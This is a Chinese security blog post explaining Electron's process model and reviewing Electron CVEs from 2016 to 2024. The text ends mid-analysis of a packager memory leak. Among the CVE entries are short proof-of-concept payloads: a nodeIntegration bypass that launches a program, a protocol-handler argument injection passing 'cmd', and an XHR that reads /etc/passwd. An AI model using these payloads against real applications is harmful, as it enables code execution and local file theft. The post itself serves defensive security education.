查看原文
其他

Electron 安全与你我息息相关

NOP Team NOP Team 2024-04-16

0x00 简介

大家好,今天向大家介绍一些关于 Electron 程序以及其安全相关一些内容。

采用Electron 构建的桌面程序在日常使用过程中非常常见

它的应用面如此之广,以至于我们很难忽略它的存在。这篇文章的目的在于介绍当前 Electron 安全发展态势,更关键的是,最近 XZ 后门事件直接导致了供应链安全的担忧,虽然很多应用程序并不一定开源,但是这篇文章会给大家介绍一些通用的切实可行的检测措施,找出 Electron 程序可能存在的 XSS To RCE 和有危害的供应链威胁

如果你之前没有接触过相关内容,仅仅是想了解一下我使用的 Electron 开发的程序安全性怎么样,那你可以直接跳转到 0x04 如何评估 Electron 程序的安全性 章节

没想到文章越写越长,为保证观感,我们在文末放了 PDF 版本的链接


  • 0x00 简介

  • 0x01 Electron 简介

    • 1. Electron 架构

    • 2. 主进程

    • 3. 渲染进程

    • 4. 预加载脚本

    • 5. 实用进程

  • 0x02 Electron 漏洞史

    • CVE-2016-10534

    • CVE-2016-1202

    • CVE-2017-1000424

    • CVE-2017-12581

    • CVE-2017-16151

    • CVE-2018-1000006

    • CVE-2018-1000118

    • CVE-2018-1000136

    • CVE-2018-15685

    • CVE-2020-15096

    • CVE-2020-15174

    • CVE-2020-15215

    • CVE-2020-26272

    • CVE-2020-4075

    • CVE-2020-4076

    • CVE-2020-4077

    • CVE-2021-39184

    • CVE-2022-21718

    • CVE-2022-29247

    • CVE-2022-29257

    • CVE-2022-36077

    • CVE-2023-23623

    • CVE-2023-29198

    • CVE-2023-39956

    • CVE-2023-44402

    • `embeddedAsarIntegrityValidation`

    • `onlyLoadAppFromAsar`

    • CVE-2024-1648

    • CVE-2024-27303

    • CVE-2024-29900

  • 0x03 Electron 应用漏洞案例

    • 1. Goby

    • 2. 蚁剑

    • 3. Typora

    • 4. Discord

    • 5. Others

  • 0x04 如何评估 Electron 程序的安全性

    • 1. 解包 asar 文件

    • 2. 供应链安全评估

    • 3. Electron 版本

    • 4. nodeIntegration

    • 5. contextIsolation

    • 6. sandbox

    • 8. webSecurity

    • 7. fuse

    • 8. Preload 预加载脚本

    • 9. CSP

    • 10. 自定义协议

    • 小结

  • 0x05 Electron 测试技巧

    • 1. nodeIntegrationInSubframes

    • 2. 开发者工具

    • 3. 抓包

    • 4. 导航

    • 5. 自定义协议

    • 6. 本地文件读取

    • 7. 本地代码注入

  • 0x06 实测电脑上的APP

    • 1. Goby

    • 2. Yakit

    • 3. Discord

    • 4. VSCode

    • 5. xmind

    • 6. signal

    • 7. bilibili

    • 8. Docker Desktop

    • 9. 百度网盘

    • 10. 夸克网盘

    • 11. 优酷

    • 12 小结

  • 0x07 小感慨

  • 0x08 PDF 版本下载地址

  • 往期文章


0x01 Electron 简介

Electron 是一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的框架。 嵌入 Chromium 和 Node.js 到 二进制的 Electron 允许您保持一个 JavaScript 代码代码库并创建在Windows上运行的跨平台应用 macOS和Linux——不需要本地开发经验。

https://www.electronjs.org/zh/docs/latest/

1. Electron 架构

Chromium 具备网页渲染能力, Nodejs 具备操作系统API的能力

因此从架构上,Electron 分为两个部分:主进程和渲染进程

2. 主进程

每个 Electron 应用都有一个单一的主进程,作为应用程序的入口点。 主进程在 Node.js 环境中运行,这意味着它具有 require 模块和使用所有 Node.js API 的能力。

Chrome的多进程架构

3. 渲染进程

每个 Electron 应用都会为每个打开的 BrowserWindow ( 与每个网页嵌入 ) 生成一个单独的渲染器进程。 洽如其名,渲染器负责渲染 网页内容。 所以实际上,运行于渲染器进程中的代码是须遵照网页标准的 (至少就目前使用的 Chromium 而言是如此) 。

4. 预加载脚本

主进程可以与操作系统交互,渲染进程只能渲染网页,那么当功能需要操作系统支持的时候,渲染进程如何将需求传递给主进程,主进程如何将结果传递给渲染进程就是个问题,Electron 设计了一系列的 IPC 功能,方便主进程和渲染进程间通信,渲染进程的通信通常在 preload 脚本中发生

预加载(preload)脚本包含了那些执行于渲染器进程中,且先于网页内容开始加载的代码 。 这些脚本虽运行于渲染器的环境中,却因能访问 Node.js API 而拥有了更多的权限,当然,为了安全考虑,它的 API 是受限的,主要就是发起 IPC 请求或监听,将自定义的API和变量等传递给渲染进程使用

5. 实用进程

Electron 22.0.0 中开始引入 utility process,每个Electron应用程序都可以使用主进程生成多个子进程UtilityProcess API,实用进程(官方翻译叫效率进程)可用于托管,例如:不受信任的服务, CPU 密集型任务或以前容易崩溃的组件托管在主进程或使用Node.jschild_process.fork API 生成的进程中。

https://www.electronjs.org/zh/blog/electron-22-0#utilityprocess-api-36089

更详细信息参考官网,Electron 官方对开发者非常友好,具有详细的介绍,本部分参考 流程模型 章节

https://www.electronjs.org/zh/

流程模型 | Electron

https://www.electronjs.org/zh/docs/latest/tutorial/process-model

0x02 Electron 漏洞史

Electron 将两大技术结合在一起,肯定是会存在非常多的问题,这其中就包括了很多安全问题,尤其是在这门技术刚刚出来的时候

Electron 发展比较快,逐渐遵循“默认即安全”的原则

这是我在 2022 年决定使用 Electron 作为开发工具时学习过程中发出的感慨,真的就是书刚出来就已经过时了

接下里将和大家一起回顾一下 Electron 本身的历史漏洞,关于 Electron 的发展变化情况参考官网

https://www.electronjs.org/zh/blog

https://www.electronjs.org/zh/docs/latest/breaking-changes

CVE-2016-10534

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10534

https://github.com/electron/packager/issues/333

electron-packager 是一个命令行工具,将 Electron 源代码打包成 '.app' 和 '.exe' 包。

在electron-packager 的 5.2.1 - 6.0.2 版本中,'--strict-ssl' 命令行选项如果未显式设置为 true,则默认为 false。这可能允许攻击者执行中间人攻击

CVE-2016-1202

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1202

https://github.com/electron/electron/commit/9a2e2b365d061ec10cd861391fd5b1344af7194d

Electron < 0.33.5

这是一个模块搜索路径上的漏洞,可能会加载额外的模块导致被攻击,这应该是 Nodejs 的一个特性或者叫属性吧,但是在 Electron 会导致问题, 当然这个早就修复了,目前 Electron 版本为 29.2.0,但我们在挖掘漏洞的时候还是可以思考一下,是否原本正常的功能会在结合之后出现影响

CVE-2017-1000424

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-1000424

https://github.com/electron/electron/issues/10007

1.6.4 < Electron < 1.6.11
1.7.0 < Electron < 1.7.5

这是一个 URL 路径解析漏洞,主要是在打开 PDF 文件的 URL 时,遇到 & 字符会被截断,进而可能导致路径劫持安全问题

CVE-2017-12581

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12581

https://blog.doyensec.com/2017/08/03/electron-framework-security.html

Electron < 1.6.8

这是一个非常严重的漏洞,Electron 为了限制渲染进程,主进程创建渲染进程时设置 nodeIntegration 属性为 false 来禁止渲染进程拥有访问 Nodejs API 的能力,这样保证即使出现了 XSS 漏洞也不至于直接导致 RCE

这个漏洞就是一种 nodeIntegration机制绕过漏洞,其实是两个技术的结合

  • Electron 重写了部分 ChromiumAPI ,当创建一个新窗口时,Electron 返回一个 BrowserWindowProxy 的实例。此类可用于操作子浏览器窗口,从而破坏同源策略 (SOP
  • Electron 中漏洞版本存在一些特权域 URL,例如 chrome-devtools://devtools/,在漏洞版本中打开特权 URL 返回的 BrowserWindowProxynodeIntegration 值为 true

将以上两个技术结合起来就可以创建一个特权 URL ,之后执行 Nodejs 的代码进而实现 RCE 了, PoC 如下

<!DOCTYPE html>
<html>
  <head>
    <title>nodeIntegration bypass (SOP2RCE)</title>
  </head>
  <body>
   <script>
     document.write("Current location:" + window.location.href + "<br>");

     const win = window.open("chrome-devtools://devtools/bundled/inspector.html");
     win.eval("const {shell} = require('electron'); 
     shell.openExternal('file:///Applications/Calculator.app');");
       
</script>
  </body>
</html>

具体参考如下文章

https://blog.doyensec.com/2017/08/03/electron-framework-security.html

CVE-2017-16151

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16151

https://www.electronjs.org/zh/blog/chromium-rce-vulnerability

Electron < 1.6.14
1.7.0 <= Electron < 1.7.8
1.8.0 <= Electron < 1.8.1

这是一个 RCE 漏洞,是由于 ChromiumRCE 连带的,官方的信息中也没有描述具体具体是哪个 CVE

发布时间是 2017年9月27日

CVE-2018-1000006

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000006

https://www.electronjs.org/blog/protocol-handler-fix

https://www.exploit-db.com/exploits/43899

仅 Windows 平台
Electron <= 1.8.2-beta.3
Electron <= 1.7.10
Electron <= 1.6.15

这是一个 RCE 漏洞,在 Windows 平台上关于自定义协议处理程序处理不当导致 RCE,需要用户点击恶意的 URL

关于自定义协议处理程序一直是 Electron 漏洞的重灾区,它并不是默认即安全的问题,它需要有良好的编码规范,后续关于漏洞案例部分应该会列举一些相关的内容

PoC 如下

<!doctype html>
<script>
  window.location = 'exodus://aaaaaaaaa" --gpu-launcher="cmd" --aaaaa='
</script>

CVE-2018-1000118

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000118 https://github.com/electron/electron/commit/ce361a12e355f9e1e99c989f1ea056c9e502dbe7

Electron <= 1.8.2-beta.4

这是 CVE-2018-1000006 的绕过,此问题是由于对CVE-2018-1000006的修复不完整,特别是使用的黑名单不区分大小写,允许攻击者绕过它。

CVE-2018-1000136

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1000136

https://www.electronjs.org/zh/blog/webview-fix

https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2018-1000136-electron-nodeintegration-bypass/

1.7.0 <= Electron < 1.7.12
1.8.0 <= Electron < 1.8.3
2.0.0 <= Electron < 2.0.0-beta.3

这是一个 XSS To RCE 漏洞,主要是对于 webview 标签时处理不当导致在某些禁用 Node.js 集成的 Electron 应用程序中重新启用 Node.js 环境。

简单来说就是新创建窗口本来应该是继承父窗口的部分属性设置,如果父窗口设置了 nodeIntegration: false,则新创建的子窗口也是一样,但是在处理 webviews 时出现了问题,导致新创建的窗口默认具备 Nodejs 的能力

实际上,在 Electron 的官网是很不建议使用 webview 的,主要是因为它可能变动的原因

https://www.electronjs.org/zh/docs/latest/tutorial/web-embeds#%E6%A6%82%E8%A7%88

https://www.electronjs.org/zh/docs/latest/api/webview-tag#warning

CVE-2018-15685

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15685

https://www.contrastsecurity.com/security-influencers/cve-2018-15685

https://www.electronjs.org/zh/blog/web-preferences-fix

https://www.exploit-db.com/exploits/45272

https://github.com/matt-/CVE-2018-15685

https://contrastsecurity.wistia.com/medias/u3nt710b8r

Electron 1.7.15、1.8.7、2.0.7和3.0.0-beta.6

这个漏洞是一个 XSS To RCE 漏洞,需要通过 XSS 漏洞向页面添加一个 <iframe> 标签,Electron 在处理该标签的时候,对于新打开的窗口,权限继承关系处理不当,打开部分窗口时会导致存在 nodeIntegration: true 的情况,具备 Nodejs 执行能力,进而导致RCE

CVE-2020-15096

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15096

https://github.com/electron/electron/security/advisories/GHSA-6vrv-94jv-crrg

9.0.0-beta.0 <= Electron <=9.0.0-beta.20
8.0.0-beta.0 <= Electron <=8.2.3
7.0.0-beta <= Electron < =7.2.3
6.0.0-beta.0 <= Electron <= 6.1.10
Electron <= 6

这是一个 contextIsolation 的绕过,即上下文隔离的绕过,contextIsolation 也是 Electron 中的一个重要的安全措施,有效防止渲染进程中的 JavaScript 污染 Preload 脚本中的原型等内容,有效进行上下文隔离

该漏洞是 V8 引擎的漏洞,所以只能通过升级解决

CVE-2020-15174

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15174

https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

https://github.com/electron/electron/commit/18613925610ba319da7f497b6deed85ad712c59b

https://mksben.l0.cm/2020/10/discord-desktop-rce.html

https://youtu.be/0f3RrvC-zGI

10.0.0-beta.0 <= Electron <=10.0.0
9.0.0-beta.0 <= Electron <=9.2.1
8.0.0-beta.0 <= Electron <=8.5.0
Electron <= 8

这个漏洞是一个导航绕过漏洞,通常一个 iframe 中的窗口通过导航功能打开其他窗口应该被 will-navigate 事件捕捉,之后被处理程序无害化处理,这样 Electron 加载其他 iframe 时, iframe 中的代码不会影响 Electron ,即使 contextIsolation 上下文隔离设置为 falseiframe 中的 JavaScript 也不会覆盖 ElectronJavaScript 中的原型

但是这里有一个  Electronbug,当 iframe 执行顶部框架导航时,如果 top.originiframe.origin 是同源,则会触发will-navigate 事件,如果不同源则不会触发,这听起来很荒谬,所以是 bug

因此如果此时 contextIsolation 设置为 falseiframe 中的 JavaScript 可以直接覆盖渲染进程中的函数原型,这里就包括 Preload 脚本,也就是预加载脚本,所以此时如果预加载脚本中的方法任意组合,修改参数之类的操作后可以让主进程执行 Nodejs 代码,就可以实现 RCE

CVE-2020-15215

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15215

https://github.com/electron/electron/security/advisories/GHSA-56pc-6jqp-xqj8

11.0.0-beta.0 <= Electron <=11.0.0-beta.5
10.0.0-beta.0 <= Electron <=10.1.1
9.0.0-beta.0 <= Electron <=9.3.0
8.0.0-beta.0 <= Electron <=8.5.1
Electron <= 8

这个漏洞是官方公布的,只有大概的描述,并没有细节,通过描述来看与 CVE-2020-15174是一件事,只不过影响不同

这是一个 contextIsolation 绕过漏洞,可以绕过上下文隔离,想知道更详细的内容可能需要对比一下版本之间的代码

CVE-2020-26272

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26272

https://github.com/electron/electron/security/advisories/GHSA-hvf8-h2qh-37m9

9.0.0-beta.0 <= Electron < 9.4.0
10.0.0-beta.0 <= Electron < 10.2.0
11.0.0-beta.0 <= Electron < 11.1.0
12.0.0-beta.0 <= Electron < 12.0.0-beta.9
Electron <= 8

这看起来更像是一个 bug ,通过 webContentsendToFrameevent.reply或使用remote模块从主进程发送到渲染器进程中的子帧的 IPC 消息在某些情况下可能会传递到错误的帧。

remote 模块曾经可以让渲染进程直接执行 Nodejs 的代码,这也是上面提到的几本书里还包含着的内容,后来就限制其安装了,安装过程非常费劲,而且要关闭很多安全策略,最后好像已经去掉了

CVE-2020-4075

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4075

https://github.com/electron/electron/security/advisories/GHSA-f9mq-jph6-9mhm

9.0.0-beta.0 <= Electron <=9.0.0-beta.20
8.0.0-beta.0 <= Electron <=8.2.3
7.0.0-beta <= Electron < =7.2.3
Electron < 7

该漏洞允许通过在通过 window.open 打开的子窗口上定义不安全窗口选项来读取任意本地文件。当新打开的窗口没有设置 nativeWindowOpen: true ,则可以读取本地文件

CVE-2020-4076

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4076

https://github.com/electron/electron/security/advisories/GHSA-m93v-9qjc-3g79

9.0.0-beta.0 <= Electron <=9.0.0-beta.20
8.0.0-beta.0 <= Electron <=8.2.3
7.0.0-beta <= Electron < =7.2.3
Electron < 7

该漏洞是一个 contextIsolation 绕过漏洞,没有找到详细的介绍,通过版本发布说明了解这是 contextCodeGeneration 参数的问题,修复代码如下

这个漏洞的描述是修复了对 Node.jsscript.runInNewContext()contextCodeGeneration 参数的破坏使用

CVE-2020-4077

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-4077

https://github.com/electron/electron/security/advisories/GHSA-h9jc-284h-533g

9.0.0-beta.0 <= Electron <=9.0.0-beta.20
8.0.0-beta.0 <= Electron <=8.2.3
7.0.0-beta <= Electron < =7.2.3
Electron < 7

该漏洞是一个  contextIsolation 绕过漏洞,利用的是 contextBridgecontextBridge 正常被用来将 Preload 脚本中的方法暴露给渲染进程,当使用 contextBridge时,如果 sandbox=true 会造成内存泄漏

CVE-2021-39184

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39184

https://github.com/electron/electron/security/advisories/GHSA-mpjm-v997-c4h4

https://github.com/electron/electron/pull/30728

https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Aaditya%20Purani%20-%20ElectroVolt%20Pwning%20popular%20desktop%20apps%20while%20uncovering%20new%20attack%20surface%20on%20Electron.pdf

此漏洞允许沙盒渲染器请求用户系统上任意文件的“缩略图”图像。缩略图可能包含原始文件的重要部分,在许多情况下包括文本数据

10.1.0 <= Electron <11.0.0-beta.1
11.0.0-beta.1 <= Electron < 11.5.0
12.0.0-beta.1 <= Electron < 12.1.0
13.0.0-beta.1 <= Electron <13.3.0
14.0.0-beta.1 <= Electron <14.0.0
15.0.0-alpha.1 <= Electron <15.0.0-alpha.10

【可以查找视频,或看PDF】

CVE-2022-21718

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21718

https://github.com/electron/electron/security/advisories/GHSA-3p22-ghq8-v749

Electron < 13.6.6
14.0.0-beta.1 <= Electron < 14.2.4
15.0.0-beta.1 <= Electron <15.3.5
16.0.0-beta.1 <= Electron <16.0.6
17.0.0-alpha.1 <= Electron <17.0.0-alpha.6

如果应用未配置自定义选择蓝牙设备事件处理程序,此漏洞允许呈现程序通过Web蓝牙API访问随机蓝牙设备。被访问的设备是随机的,攻击者无法选择特定的设备。

从修复代码可以看出,之前对于渲染进程访问蓝牙设备的默认请求未做有效处理,不知道后期会不会有对其他设备API请求存在此类问题

CVE-2022-29247

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29247

https://github.com/electron/electron/security/advisories/GHSA-mq8j-3h7h-p8g7

https://blog.electrovolt.io/posts/electron/

https://hackerone.com/reports/1647287

Electron < 15.5.5
16.0.0-beta.1 <= Electron < 16.2.6
17.0.0-beta.1 <= Electron < 17.2.0
18.0.0-beta.1 <= Electron < 18.0.0-beta.6

这个漏洞是一个 nodeIntegrationInSubFrames 绕过的漏洞,此漏洞允许使用JS执行的渲染器访问启用了nodeIntegrationInSubFrames 的新渲染器进程,从而允许有效访问 ipcRenderer

这里有一些概念需要先介绍一下

nodeIntegrationInSubFrames 这个特性看起来和 Nodejs 相关,好像是要在子 frame 中启用 Nodejs 功能,其实并不是,这个属性设置为 true 时,预加载脚本会在每个子 frame  中加载,虽然预加载脚本具备一定的 Nodejs 的能力,但是被限制的很严重,所以大家对这个属性的命名感觉很费解,还产生了一定的讨论

https://github.com/electron/electron/issues/18429

ipcRenderer 是主进程与渲染进程 IPC 通信过程中渲染进程使用的,准确的说是预加载脚本中可以使用的,除非对外暴漏,不然渲染进程本身是无法直接 require 加载的

接下来就很容易了解这个漏洞了,注意不是理解,因为我们没有做代码层面的分析。这个漏洞让渲染进程具备访问 ipcRenderer 的能力,有了这个能力是否就可以实现 RCE 了呢?

当然不是,ipcRenderer 只是可以和主进程进行通信,通信带来的功能本身是主进程写好的,也就是固定的,除非主进程监听的消息中,可以通过传递数据实现命令执行、文件写入之类的,才能实现 RCE ,如果开发人员具备良好的编码习惯,可能是即使给你 ipcRenderer 也没有大用,最多泄漏一些信息

更多专有名词参考官网

https://www.electronjs.org/zh/docs/latest/glossary

CVE-2022-29257

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29257

https://github.com/electron/electron/security/advisories/GHSA-77xc-hjv8-ww97

主要是 MacOS 平台
Electron < 15.5.0
16.0.0-beta.1 <= Electron < 16.2.0
17.0.0-beta.1 <= Electron < 17.2.0
18.0.0-beta.1 <= Electron < 18.0.0-beta.6

这是一个与自动更新相关的漏洞,AutoUpdater 模块无法在 macOS 上验证捆绑包的某些嵌套组件,如果攻击者能够具有自动更新的权限,就可能可以创建一个有正确签名的恶意程序

CVE-2022-36077

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36077

https://github.com/electron/electron/security/advisories/GHSA-p2jh-44qj-pf2v

主要是 Windows 平台
Electron < 18.3.7
19.0.0-beta.1 <= Electron < 19.0.11
20.0.0-beta.1 <= Electron < 20.0.1

这是一个信息泄漏漏洞,当遇到重定向时,如果重定向的链接是 file://some.website.com/ , 在一些情况下, Windows 会连接 some.website.com 并进行 NTLM 认证,这其中发送的信息可能包含哈希凭证,导致信息泄漏

如果无法升级 Electron 版本,官方给出了修复代码,阻止重定向到 file: 协议的链接

app.on('web-contents-created', (e, webContents) => {
  webContents.on('will-redirect', (e, url) => {
    if (/^file:/.test(url)) e.preventDefault()
  })
})

CVE-2023-23623

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23623

https://github.com/electron/electron/security/advisories/GHSA-gxh7-wv9q-fwfr

22.0.0-beta.1 <= Electron < 22.0.1
23.0.0-alpha.1 <= Electron < 23.0.0-alpha.2

这可能是一个相对典型的结合出现的问题,当 sandbox: false 并且 contextIsolation: false 时,CSP (即使正确配置了) 无法有效地阻止 evalnew Function 的使用

这个漏洞官方给出的评分很高(7.5),但是我觉得利用条件还是比较复杂的,而且也不能直接导致 RCE

CVE-2023-29198

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29198

https://github.com/electron/electron/security/advisories/GHSA-p7v2-p9m8-qqg7

Electron < 22.3.6
23.0.0-alpha.1 <= Electron < 23.2.3
24.0.0-alpha.1 <= Electron < 24.0.1
25.0.0-alpha.1 <= Electron < 25.0.0-alpha.2

这是一个上下文隔离绕过漏洞,在上下文隔离环境中,通常 Preload 脚本通过 contextBridge 将定义好的方法暴露给渲染进程使用,如果这些方法返回值为一个包含无法序列化的 JS对象的对象或者数组,此时可能会触发异常

或者直接就返回一个用户生成的异常时,可能会触发此漏洞

这件事本质上是因为通过 contextBridge 传递值的时候, Electron 是将其 Copy 一份,Electron 无法处理的类型就会导致出现问题,具体类型参照如下链接

https://www.electronjs.org/docs/latest/api/context-bridge#parameter--error--return-type-support

CVE-2023-39956

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39956

https://github.com/electron/electron/security/advisories/GHSA-7x97-j373-85x5

Electron < 22.3.19
23.0.0-alpha.1 <= Electron < 23.3.13
24.0.0-alpha.1 <= Electron < 24.7.1
25.0.0-alpha.1 <= Electron < 25.5.0
26.0.0-alpha.1 <= Electron < 26.0.0-beta.13

这是一个代码执行漏洞,需要满足程序在攻击者控制并且可以写入文件的目录中执行,对于这类漏洞,Electron 官方归类为本地物理攻击(Physically Local Attacks),官方对这类漏洞并不是很关注,这个漏洞可能影响 ASAR 的完整性校验等,所以给了漏洞编号

但是全网并没有找到包含详细信息等文章

CVE-2023-44402

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44402

https://github.com/electron/electron/security/advisories/GHSA-7m48-wc93-9g85

https://github.com/electron/electron/pull/39788

仅 MacOS 平台
Electron < 22.3.24
23.0.0-alpha.1 <= Electron < 23.3.14
24.0.0-alpha.1 <= Electron < 24.8.3
25.0.0-alpha.1 <= Electron < 25.8.1
26.0.0-alpha.1 <= Electron < 26.2.1
27.0.0-alpha.1 <= Electron < 27.0.0-alpha.7

Electron 中部分资源文件 js、html、css、img 等发布时会打包成 .asar 文件,Electron提供了校验 asar 文件完整性的 fuse

  • embeddedAsarIntegrityValidation

  • onlyLoadAppFromAsar

这两个 fuse 默认是禁用的,如果启动就会校验 .asar 文件是否为 asar 文件,确保文件类型经过校验

官方的评论是:“仅仅因为某些内容存在于 *.asar路径中并不意味着它实际上是一个asar文件”

此漏洞就属于是一种绕过文件校验的漏洞,攻击的条件是攻击者可以编辑 .app 内的文件,.appMacOS 中的应用程序后缀,也是一个文件夹,相当于 Windows 中的安装目录

CVE-2024-1648

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1648

https://fluidattacks.com/advisories/drake

https://www.npmjs.com/package/electron-pdf

electron-pdf 20.0.0

这是 electron-pdf 组件的漏洞,是一个本地文件读取漏洞,由于其内容比较具有代表性,所以也放在这里

electron-pdf  是一个命令行工具,可以将 htmlmarkdownurl 生成 PDF

PoC

<script>
    x=new XMLHttpRequest;
    x.onload=function(){document.write(this.responseText)};
    x.open("GET","file:///etc/passwd");x.send();
</script>

官方描述是 electron-pdf 没有校验 HTML 是否为恶意,但我觉得本质问题还是对于 file 等一些协议的使用默认支持,没有做规避导致的

Electron 开发的应用程序中,也是经常出现类似的问题,导致本地文件读取,所以把它放在这里

CVE-2024-27303

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27303

https://github.com/electron-userland/electron-builder/security/advisories/GHSA-r4pf-3v7r-hh55

仅 Windows 平台
app-builder-lib < 24.13.1

这是 electron-builder 工具的一个漏洞,electron-builder 是用于构建 Electron 应用程序的工具,可能在之前的很多资料里比较推荐,现在官方更推荐 Electron Forge

这个漏洞原理很像 DLL 劫持,NSIS 安装程序通过 .nsh 安装程序脚本中的 NSExec 进行系统调用以打开cmd.exe。默认情况下,NSExec 会在搜索 PATH 之前搜索安装程序所在的当前目录。这意味着,如果攻击者可以将名为 cmd.exe 的恶意可执行文件放置在与安装程序相同的文件夹中,则安装程序将运行该恶意文件

CVE-2024-29900

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-29900

https://github.com/electron/packager/security/advisories/GHSA-34h3-8mw4-qw57

https://github.com/electron/packager/commit/d421d4bd3ced889a4143c5c3ab6d95e3be249eee

electron/packager < 18.3.0

这是 electron/packager 模块的内存泄漏漏洞,被评级为 Criticalelectron/packagerElectron 用于将Electron代码打包成二进制程序常用的工具,Electron Forge 内部就使用了该程序

官方描述漏洞情况为在已知缓冲区的任意一侧分配的约 1-10 kbNode.js 堆内存的随机段将泄漏到最终的可执行文件中。该内存可能包含敏感信息,如环境变量、机密文件等。

这看起来应该是一个 bug

目前网络上还没有相关的内容介绍泄漏的内存到底在什么位置,如何找到它,那我们就亲自看一下吧

我们根据代码可以看出来,只修改了 resedit 函数的一部分内容

// 原代码
export async function resedit(exePath: string, options: ExeMetadata) {
  // 其他代码
  
  // Asar Integrity  
  if (options.asarIntegrity) {
    res.entries.push({
      type'Integrity',
      id'ElectronAsar',
      bin: Buffer.from(JSON.stringify(options.asarIntegrity)).buffer,
      lang: languageInfo[0].lang,
      codepage: languageInfo[0].codepage,
    });
  }
}
// 修复后的代码
export async function resedit(exePath: string, options: ExeMetadata) {
  // 其他代码
  
  // Asar Integrity
  if (options.asarIntegrity) {
    const integrityList = Object.keys(options.asarIntegrity).map((file) => ({
      file,
      alg: options.asarIntegrity![file].algorithm,
      value: options.asarIntegrity![file].hash,
    }));
    
    res.entries.push({
      type'INTEGRITY',
      id'ELECTRONASAR',
      bin: Buffer.from(JSON.stringify(integrityList), 'utf-8'),
      lang: languageInfo[0].lang,
      codepage: languageInfo[0].codepage,
    });
}

这里除了 typeid 的命名规则改变以外,最重要的是 bin 的内容变了

从代码注释上可以看到 Asar Integrity ,翻译过来就是 Asar 完整性,也就是说这部分代码应该是用于检查 Asar 完整性或者存储提供检查的信息

首先是 if 判断,这里肯定是通过判断了,前后对比可以看出,对于 options.asarIntegrity 的处理明显不同,这个 options 是什么呢? 参数里给了我们提示 ExeMetadata,这显然是 Electron 自定义的类型,我们点击 view file 进入文件中查看

包含一些可执行文件的元数据

  • productVersion
  • fileVersion
  • legalCopyright
  • productName
  • iconPath
  • asarIntegrity
    • asarIntegrity?: Record<string, Pick<FileRecord['integrity'], 'algorithm' | 'hash'>>;
  • win32Metadata

我们详细看一下 asarIntegrity,这是 TypeScript 的语法,看起来就很烦啊,

Record<string, T>: Record<K, T> 是 TypeScript 内置的泛型类型,表示一种键值对结构(类似于 JavaScript 中的普通对象),其中:

  • K 是键的类型。
  • T 是值的类型。

在本例中,K 被指定为 string,表示对象的键是字符串类型。T 是待推导的类型,将在后面的 Pick<FileRecord['integrity'], 'algorithm' | 'hash'> 中定义。

Pick<T, K>: Pick<T, K> 是 TypeScript 的另一个内置泛型类型,用于从类型 T 中选择一组指定的属性 K 组成一个新的类型。这里的含义是:

  • T 是要从中选取属性的原始类型。
  • K 是要保留的属性名称组成的联合类型。

FileRecord['integrity']: FileRecord 类型未直接定义,从整个文件中可以看出

import { FileRecord } from '@electron/asar';

这个类型是从 @electron/asar 来的,查找 @electron/asar

https://www.npmjs.com/package/@electron/asar

export type FileRecord = {
  offset: string;
  size: number;
  executable?: boolean;
  integrity: {
    hash: string;
    algorithm: 'SHA256';
    blocks: string[];
    blockSize: number;
  };
}

integrity是一个由几个key组成的对象:

  • algorithm 哈希算法,目前只支持SHA256

  • hash 十六进制编码的哈希值,表示整个文件的哈希值。

  • blocks  一个十六进制编码的哈希数组,用于文件的块。例如,对于大小为4KB的块,如果将文件拆分为N个4KB块,则该数组包含每个块的哈希值。

  • blockSize 表示上面的块哈希中每个块的字节大小

'algorithm' | 'hash': 这是 TypeScript 中的联合类型(Union Type)表示法,表示一个可以是 'algorithm''hash' 的字符串类型。这里用于指定要从 FileRecord['integrity'] 类型中选取的属性名称。

将这些部分组合起来,asarIntegrity 字段的完整类型定义表示:

  • asarIntegrity 是一个可选的对象(因为前面有 ? 符号),其键是字符串类型,值是从 FileRecord['integrity'] 类型中选取的 'algorithm''hash' 属性组成的类型。
  • 对于 asarIntegrity 对象的每个键值对,键是字符串(文件路径),值是一个对象,该对象仅包含 FileRecord['integrity'] 中的 algorithm(哈希算法)和 hash(哈希值)属性。

举个具体的例子,一个符合此类型的 asarIntegrity 对象可能如下所示:

{
  "/path/to/file1.js": {
    "algorithm""SHA-256",
    "hash""abc123..."
  },
  "/path/to/file2.css": {
    "algorithm""SHA-1",
    "hash""def456..."
  }
}

接下来看一下前后代码对 options.asarIntegrity 的处理有哪些不同

// 原代码
bin: Buffer.from(JSON.stringify(options.asarIntegrity)).buffer

原代码直接将 options.asarIntegrity 转为 Json 格式的字符串后存储到缓冲区中,并访问 .buffer 属性,获得一个 ArrayBuffer 对象,它是 Buffer 实例所基于的底层数据容器

// 修复后的代码
